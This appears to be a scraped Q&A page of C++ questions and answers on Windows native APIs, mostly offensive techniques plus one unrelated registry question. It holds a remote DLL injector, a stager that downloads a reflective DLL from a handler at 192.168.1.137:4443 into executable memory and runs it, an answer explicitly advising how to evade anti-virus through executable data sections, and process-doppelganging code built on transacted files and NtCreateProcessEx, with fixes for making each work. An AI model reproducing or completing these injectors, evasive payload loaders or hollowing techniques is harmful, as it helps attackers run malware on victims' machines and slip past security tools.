How to call ldrLoadDll on another thread of another app? - c++

I did the simplest injector NtCreateThreadEx + LdrLoadDll, but the injector injects dll into itself and not into the target process (using LoadLibraryW instead of LdrLoadDll ((wchar_t *) 0, 0, & name, & Module)), it works correctly - how can I fix the problem in the simplest way
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
using namespace std;
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtCreateThreadEx(PHANDLE,
ACCESS_MASK, LPVOID, HANDLE, LPTHREAD_START_ROUTINE, LPVOID,
BOOL, SIZE_T, SIZE_T, SIZE_T, LPVOID);
typedef HMODULE(__stdcall* _LdrLoadDll)(
wchar_t* PathToFile,
unsigned long Flags,
PUNICODE_STRING ModuleFileName,
PHANDLE* ModuleHandle
);
_LdrLoadDll LdrLoadDll;
int main()
{
DWORD targetProcId = 10340; //Proc id to inject
wchar_t targetDllPath[255] = L"C:\\DllTest32.dll"; //dll path to inject
unsigned short targetDllPathLength = sizeof(targetDllPath);
HANDLE targetOpened = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetProcId);
LPVOID allocatedMem = VirtualAllocEx(targetOpened, 0, targetDllPathLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
bool wpm = WriteProcessMemory(targetOpened, allocatedMem, targetDllPath, targetDllPathLength, 0);
LdrLoadDll = (_LdrLoadDll)GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrLoadDll");
UNICODE_STRING name;
name.Buffer = targetDllPath;
name.Length = wcslen(name.Buffer) * sizeof(wchar_t);
name.MaximumLength = name.Length + sizeof(wchar_t);
PHANDLE Module;
HANDLE rt;
NtCreateThreadEx(
&rt, PROCESS_CREATE_THREAD, NULL, targetOpened,
(LPTHREAD_START_ROUTINE)LdrLoadDll((wchar_t*)0, 0, &name, &Module),
allocatedMem, FALSE, NULL, NULL, NULL, NULL);
}

Related

RegCreateKeyEx always returns 5 ERROR_ACCESS_DENIED even when admin

I'm really stuck...I have a Windows program that I'm trying to simply write a value to the Registry.
The problem is RegCreateKeyEx() returns 5 (ERROR_ACCESS_DENIED).
My logon username belongs to the local Administrators group.
The lpdwDisposition parameter in RegCreateKeyEx() gets set to 2 (REG_OPENED_EXISTING_KEY), but RegCreateKeyEx() still returns ERROR_ACCESS_DENIED.
It's a 32-bit program, so I have the SAM set to KEY_WOW64_32KEY | KEY_WRITE
Here is minimal working example code:
#include <Windows.h>
#include <time.h>
#include <strsafe.h>
void GetCurrentDateAndTimeWithMs(WCHAR *sValueData, DWORD dwSizeValueData)
{
CONST INT iSize = 64;
WCHAR sDate[iSize] = {0};
WCHAR sTime[iSize] = {0};
SYSTEMTIME lt = {0};
GetLocalTime(&lt);
GetDateFormat(LOCALE_USER_DEFAULT, NULL, &lt, NULL, sDate, iSize);
GetTimeFormat(LOCALE_USER_DEFAULT, NULL, &lt, NULL, sTime, iSize);
StringCchPrintf(sValueData, dwSizeValueData, L"%s %s.%u",sDate, sTime, lt.wMilliseconds);
}
DWORD SaveToRegistry(CONST WCHAR *sPath, CONST WCHAR *sValueName, CONST WCHAR *sValueData)
{
LSTATUS dwRV = 0;
HKEY hKey = NULL;
DWORD rv = 0;
DWORD dwType_Local = REG_SZ;
dwRV = RegCreateKeyExW(HKEY_LOCAL_MACHINE, sPath, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WOW64_32KEY | KEY_WRITE, NULL, &hKey, &rv);
if (dwRV == ERROR_SUCCESS)
{
DWORD dwLenData = (DWORD) wcslen(sValueData) +1;
dwRV = RegSetValueExW(hKey, sValueName, 0, dwType_Local, (LPBYTE) sValueData, dwLenData * sizeof(WCHAR));
}
RegCloseKey(hKey);
return dwRV;
}
int main()
{
WCHAR sDT[64] = {0};
GetCurrentDateAndTimeWithMs(sDT, 64);
SaveToRegistry(L"Software\\Company\\Product\\Settings", L"CurrentDateTime", sDT);
}

How to set PUNICODE_STRING without RtlInitUnicodeString?

I tried to write an injector but using LdrLoadDll instead of LoadLibrary.
However, I am unable to assign PUNICODE_STRING. the compiler shows Error C2326 'main :: _ params :: _ params (void)': function cannot access 'dllName' But why
If you replace LdrLoadDll and its definition with Beep (kernel32.dll) and, the "params" structure, then everything works and the sound appears
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
using namespace std;
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtCreateThreadEx(PHANDLE,
ACCESS_MASK, LPVOID, HANDLE, LPVOID, LPVOID,
BOOL, SIZE_T, SIZE_T, SIZE_T, LPVOID);
typedef HMODULE(__stdcall* _LdrLoadDll)(
wchar_t* PathToFile,
unsigned long Flags,
PUNICODE_STRING ModuleFileName,
PHANDLE* ModuleHandle
);
int main()
{
DWORD targetProcId =212;
HANDLE targetOpened = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetProcId);
_LdrLoadDll LdrLoadDll = (_LdrLoadDll)GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrLoadDll");
UNICODE_STRING dllName;
dllName.Buffer = (wchar_t*)L"DllTest32.dll";
dllName.Length = wcslen(dllName.Buffer) * sizeof(wchar_t);
dllName.MaximumLength = dllName.Length + sizeof(wchar_t);
static struct _params {
wchar_t* PathToFile = (wchar_t*)L"C:\\DllTest32.dll";
unsigned long Flags = 0;
PUNICODE_STRING ModuleFileName = &dllName; //something wrong here — Error C2326 'main::_params::_params(void)': function cannot access 'dllName'
PHANDLE* ModuleHandle = 0;
} params;
HANDLE rt;
NtCreateThreadEx(
&rt, PROCESS_CREATE_THREAD, NULL, targetOpened,
LdrLoadDll,
&params,
FALSE, NULL, NULL, NULL, NULL);
}
A local class cannot access non-static variables of the enclosing function.
To fix, you need to access dllName outside of the class:
static struct _params {
wchar_t* PathToFile = (wchar_t*)L"C:\\DllTest32.dll";
unsigned long Flags = 0;
PUNICODE_STRING ModuleFileName;
PHANDLE* ModuleHandle = 0;
} params;
params.ModuleFileName = &dllName;

Memory allocation issues using NTAllocateVirtualMemory and GetProcAddress not working

I am trying to write a little program which uses NTAllocateVirtualMemory and GetProcAddress instead of VirtualAlloc.
This is what I have currently:
#include "pch.h"
#include "windows.h"
#include <iostream>
#include "Memoryapi.h"
#include <wininet.h>
#include <string>
#include "HTTP_Requests.h"
using namespace std;
typedef NTSTATUS(NTAPI *NtAllocVirtualMemoryFunc) (HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
int main()
{
NtAllocVirtualMemoryFunc NtAllocateVirtualMemory = (NtAllocVirtualMemoryFunc)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
int Port = 4443;
std::string handler = "192.168.1.137";
std::string URI = "CMZO3LLeroANhAyGU2zSsAIz5jz5vBzoX-GgHdghJK_em-WmpzDG35R3OZlriGNbYZaXnBKQmbx51akG5L1K_ANOjpS7-l-buPeeyixDroY9K1bNb3VaaH2HOyl9S5iOg7uH7jmEwP0fot303PtTZOmIO5C92BuBB5QO_wHvKRFy6QT24kHAupIIx7BQ8VUaUoj4lLt576CKo";
std::string UA = "Mozilla/5.0 (Windows NT 6.1; rv:11.0)";
std::string method = "GET";
void* payload = { 0 };
SIZE_T size = 4194304;
NtAllocateVirtualMemory(GetCurrentProcess(), &payload, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE | PAGE_READWRITE);
HttpRequest(handler, URI, UA, Port, method, (char*)payload);
((void(*)())payload)();
}
It seems that after the call to NtAllocateVirtualMemory, the payload variable is not pointing to a memory allocation and is still a nullptr from what I can tell in the debugger. I did not get any errors or exceptions...
The gist behind the program is that it is supposed to retrieve a file over HTTP, place it in the allocated memory buffer and executed (it's a reflective DLL which is going to be written to the buffer). I know that the DLL file was sent by the handler to this application.
The following works, but I need to do this with NTAllocateVirtualMemory :
#include "pch.h"
#include "windows.h"
#include <iostream>
#include "Memoryapi.h"
#include <wininet.h>
#include <string>
#include "HTTP_Requests.h"
using namespace std;
typedef NTSTATUS(NTAPI *NtAllocVirtualMemoryFunc) (HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
int main()
{
//NtAllocVirtualMemoryFunc NtAllocateVirtualMemory = (NtAllocVirtualMemoryFunc)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
int Port = 4443;
std::string handler = "192.168.1.137";
std::string URI = "yEwWxn1DIjxVi1SJC2BImQrzdFIr9qfwOB1VB75cnCFHuJQoYA7Sgwxdb";
std::string UA = "Mozilla/5.0 (Windows NT 6.1; rv:11.0)";
std::string method = "GET";
//void* payload = { 0 };
//SIZE_T size = 4194304;
//NtAllocateVirtualMemory(GetCurrentProcess(), &payload, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE | PAGE_READWRITE);
//HttpRequest(handler, URI, UA, Port, method, (char*)payload);
char* buf = (char*)VirtualAlloc(0, (4 * 1024 * 1024), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//HttpRequest(handler, URI, UA, Port, method, payload);
HttpRequest(handler, URI, UA, Port, method, buf);
//((void(*)())payload)();
((void(*)())buf)();
}
Since your actual problem is to hide from anti-virus, I would suggest to use a static buffer.
Make data sections executable(in Visual Studio)
Specify Project->Properties->Linker->Specify Section Attributes.
For uninitialized data
uninitialized is still zero initialized
/* global or static*/ char buf[20000];
specify .bss,RWE
(which is probably what you need)
For initialized data
/* global or static*/ char buf[20000]{1};
specify .data,RWE
Both
specify Linker->Command Line->Additional Options as /SECTION:.bss,RWE /SECTION:.data,RWE
This is what I ended up doing in the end, which is very similar to what #Adler suggested above:
#include "pch.h"
#include "windows.h"
#include <iostream>
#include "Memoryapi.h"
#include <wininet.h>
#include <string>
#include "HTTP_Requests.h"
typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *PCLIENT_ID;
using myNtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL);
using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
using namespace std;
int main()
{
myNtCreateSection fNtCreateSection = (myNtCreateSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection"));
myNtMapViewOfSection fNtMapViewOfSection = (myNtMapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection"));
SIZE_T size = 4194304;
LARGE_INTEGER sectionSize = { size };
HANDLE sectionHandle = NULL;
PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
fNtCreateSection(&sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READWRITE);
int Port = 4443;
std::string handler = "192.168.1.137";
std::string URI = "yEwWxn1DIjxVi1SJC2BImQrzdFIr9qfwOB1VB75cnCFHuJQoYA7Sgwxdb";
std::string UA = "Mozilla/5.0 (Windows NT 6.1; rv:11.0)";
std::string method = "GET";
HttpRequest(handler, URI, UA, Port, method, (char*)localSectionAddress);
((void(*)())localSectionAddress)();
}
It appears you cannot set RWX permissions from Windows 8.1 or above for the NtAllocateVirtualMemory function: link
This article seemed to suggest that it was so it misled me into trying it: link

Resume a process created by NtCreateProcessEx

Here im trying to create and run calc but the process is created in suspended state. This is the main code:
#include <Windows.h>
#include <iostream>
using namespace std;
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
typedef struct _LSA_UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef NTSTATUS(NTAPI* fpNtCreateProcessEx)
(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
HANDLE ParentProcess,
ULONG Flags,
HANDLE SectionHandle OPTIONAL,
HANDLE DebugPort OPTIONAL,
HANDLE ExceptionPort OPTIONAL,
BOOLEAN InJob
);
typedef NTSTATUS(NTAPI* fpNtCreateTransaction)
(
PHANDLE TransactionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
LPGUID Uow,
HANDLE TmHandle,
ULONG CreateOptions,
ULONG IsolationLevel,
ULONG IsolationFlags,
PLARGE_INTEGER Timeout,
PUNICODE_STRING Description
);
typedef NTSTATUS(NTAPI* fpNtCreateSection)
(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle
);
typedef NTSTATUS(NTAPI* fpNtClose)
(
HANDLE Handle
);
typedef LONG(NTAPI* fpNtResumeProcess)
(
HANDLE ProcessHandle
);
typedef LONG(NTAPI* fpNtResumeThread)
(
HANDLE ProcessHandle
);
#define PS_INHERIT_HANDLES 4
int main()
{
HANDLE hProcess;
OBJECT_ATTRIBUTES objattr;
WCHAR wstrObjName[MAX_PATH];
lstrcpyW(wstrObjName, L"C:\\Windows\\System32\\calc.exe");
const HINSTANCE hinst = LoadLibrary(L"ntdll.dll");
const auto _NtCreateTransaction = fpNtCreateTransaction(GetProcAddress(hinst, "NtCreateTransaction"));
const auto _NtCreateSection = fpNtCreateSection(GetProcAddress(hinst, "NtCreateSection"));
const auto _NtCreateProcessEx = fpNtCreateProcessEx(GetProcAddress(hinst, "NtCreateProcessEx"));
const auto _NtResumeProcess = fpNtResumeProcess(GetProcAddress(hinst, "NtResumeProcess"));
const auto _NtResumeThread = fpNtResumeThread(GetProcAddress(hinst, "NtResumeThread"));
const auto _NtClose = fpNtClose(GetProcAddress(hinst, "NtClose"));
wcslen(wstrObjName) * sizeof(WCHAR);
objattr.Length = sizeof(OBJECT_ATTRIBUTES);
objattr.Attributes = 0x00000040L;
objattr.ObjectName = nullptr;
objattr.RootDirectory = nullptr;
objattr.SecurityDescriptor = nullptr;
objattr.SecurityQualityOfService = nullptr;
HANDLE hTransaction = nullptr;
_NtCreateTransaction(&hTransaction, TRANSACTION_ALL_ACCESS, &objattr, nullptr, nullptr, 0, 0, 0, nullptr, nullptr);
const HANDLE h_transacted_file = CreateFileTransacted(wstrObjName, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr, hTransaction, nullptr, nullptr);
HANDLE hSection = nullptr;
_NtCreateSection(&hSection, SECTION_ALL_ACCESS, nullptr, nullptr, PAGE_READONLY, SEC_IMAGE, h_transacted_file);
_NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, nullptr, NtCurrentProcess(), PS_INHERIT_HANDLES, hSection, nullptr, nullptr, false);
const DWORD pid = GetProcessId(hProcess);
ResumeThread(hProcess);
printf("Pid = %d\n", pid);
CloseHandle(h_transacted_file);
_NtClose(hTransaction);
_NtClose(hSection);
_NtClose(hProcess);
return 0;
}
This is my ProcessExplorer:
What i have tried:
Changing #define PS_INHERIT_HANDLES 4 to something else like 2, 1 or 8 and no luck.
Tried to resume the process by ResumeThread(hProcess);, ResumeProcess(hProcess); or _NtResumeProcess(hProcess); but doesn't work.
Tried to manually resume the process with ProcessExplorer and Process goes back to suspended state immediately.
Changing my target file to something else.
My question is: Why i cannot resume this created process? How can i fix this?
In case you didn't figure it out, you need to create a thread using NtCreateThreadEx

Calling NtCreateProcessEx fails without exception

I want to call NtCreateProcessEx, But i get no exception and error and nothing happens. Also i don't want to use CreateProcess. My intention is to create and run a process from a file with this specific function.
This what i have tried so far:
#include <Windows.h>
#include <bcrypt.h>
#include "winternl.h"
#pragma comment(lib, "ntdll")
NTSTATUS NTAPI NtCreateProcessEx(
OUT HANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN OBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ParentProcess,
IN BOOLEAN InheritObjectTable,
IN HANDLE SectionHandle OPTIONAL,
IN HANDLE DebugPort OPTIONAL,
IN HANDLE ExceptionPort OPTIONAL,
IN BOOLEAN InJob);
int main()
{
const HANDLE ph = nullptr;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING fileName;
RtlInitUnicodeString(&fileName, PCWSTR(L"\\??\\C:\\Windows\\System32\\calc.exe"));
(&oa)->Length = sizeof(OBJECT_ATTRIBUTES);
(&oa)->RootDirectory = nullptr;
(&oa)->Attributes = 0x00000040L;
(&oa)->ObjectName = &fileName;
(&oa)->SecurityDescriptor = nullptr;
(&oa)->SecurityQualityOfService = nullptr;;
NtCreateProcessEx(ph, PROCESS_ALL_ACCESS, oa, nullptr, FALSE, nullptr, nullptr, nullptr, FALSE);
return 0;
}
There is no document and example on whole internet about this specific function. I am able to do something somewhat similar to this for NtCreateFile, But this is my closest try for NtCreateProcessEx and no luck.
I work with Visual Studio 2019 and windows 10 1909.
These are some resources that i tried:
NtCreateProcess(Ex) - Can I have a child process inherit the parents address space while running under a different process name?
http://www.rohitab.com/discuss/topic/40191-ntcreateuserprocess/
https://github.com/Microwave89/createuserprocess/blob/master/createuserprocess/main.c
http://www.rohitab.com/discuss/topic/42229-start-a-process-using-ntcreateprocessex-usermode/
https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/
First of all, the 3rd parameter is a pointer to the OBJECT_ATTRIBUTES:
typedef NTSTATUS(NTAPI* fpNtCreateProcessEx)
(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
HANDLE ParentProcess,
ULONG Flags,
HANDLE SectionHandle OPTIONAL,
HANDLE DebugPort OPTIONAL,
HANDLE ExceptionPort OPTIONAL,
BOOLEAN InJob
);
A sample to use(remove error checking):
#include <windows.h>
#include <iostream>
using namespace std;
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef NTSTATUS(NTAPI* fpNtCreateProcessEx)
(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
HANDLE ParentProcess,
ULONG Flags,
HANDLE SectionHandle OPTIONAL,
HANDLE DebugPort OPTIONAL,
HANDLE ExceptionPort OPTIONAL,
BOOLEAN InJob
);
typedef NTSTATUS(NTAPI* fpNtCreateTransaction)
(
PHANDLE TransactionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
LPGUID Uow,
HANDLE TmHandle,
ULONG CreateOptions,
ULONG IsolationLevel,
ULONG IsolationFlags,
PLARGE_INTEGER Timeout,
PUNICODE_STRING Description
);
typedef NTSTATUS (NTAPI *fpNtCreateSection)
(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle
);
typedef NTSTATUS (NTAPI *fpNtClose)
(
HANDLE Handle
);
#define PS_INHERIT_HANDLES 4
int main()
{
HANDLE hProcess;
OBJECT_ATTRIBUTES objattr;
UNICODE_STRING objname;
NTSTATUS status;
WCHAR wstrObjName[MAX_PATH];
lstrcpyW(wstrObjName, L"C:\\test.exe");
HINSTANCE hinst = LoadLibrary(L"ntdll.dll");
fpNtCreateProcessEx _NtCreateProcessEx = (fpNtCreateProcessEx)GetProcAddress(hinst, "NtCreateProcessEx");
fpNtCreateTransaction _NtCreateTransaction = (fpNtCreateTransaction)GetProcAddress(hinst, "NtCreateTransaction");
fpNtCreateSection _NtCreateSection = (fpNtCreateSection)GetProcAddress(hinst, "NtCreateSection");
fpNtClose _NtClose = (fpNtClose)GetProcAddress(hinst, "NtClose");
// Initialize ObjectName UNICODE_STRING
objname.Buffer = wstrObjName;
objname.Length = wcslen(wstrObjName) * sizeof(WCHAR); // Length in bytes of string, without null terminator
objname.MaximumLength = MAX_PATH * sizeof(WCHAR);
// Initialize OBJECT_ATTRIBUTES
objattr.Length = sizeof(OBJECT_ATTRIBUTES);
objattr.Attributes = 0x00000040L; //OBJ_CASE_INSENSITIVE
objattr.ObjectName = NULL;
objattr.RootDirectory = NULL;
objattr.SecurityDescriptor = NULL;
objattr.SecurityQualityOfService = NULL;
HANDLE hTransaction = NULL;
status = _NtCreateTransaction(&hTransaction,
TRANSACTION_ALL_ACCESS,
&objattr,
NULL,
NULL,
0,
0,
0,
NULL,
NULL);
HANDLE hTransactedFile = CreateFileTransacted(wstrObjName,
GENERIC_WRITE | GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL,
hTransaction,
NULL,
NULL);
HANDLE hSection = NULL;
status = _NtCreateSection(&hSection,
SECTION_ALL_ACCESS,
NULL,
0,
PAGE_READONLY,
SEC_IMAGE,
hTransactedFile);
status = _NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, NtCurrentProcess(), PS_INHERIT_HANDLES, hSection, NULL, NULL, false);
DWORD pid = GetProcessId(hProcess);
printf("Pid = %d\n", pid);
CloseHandle(hTransactedFile);
_NtClose(hTransaction);
_NtClose(hSection);
_NtClose(hProcess);
return 0;
}
Do i have to change a specific flag or use another standard function to resume the process state?
You must create thread. New process doesn't have any thread. You must allocate memory for thread and then call ZwCreateThread. For details, see Garry Nebeth book for windows 2000.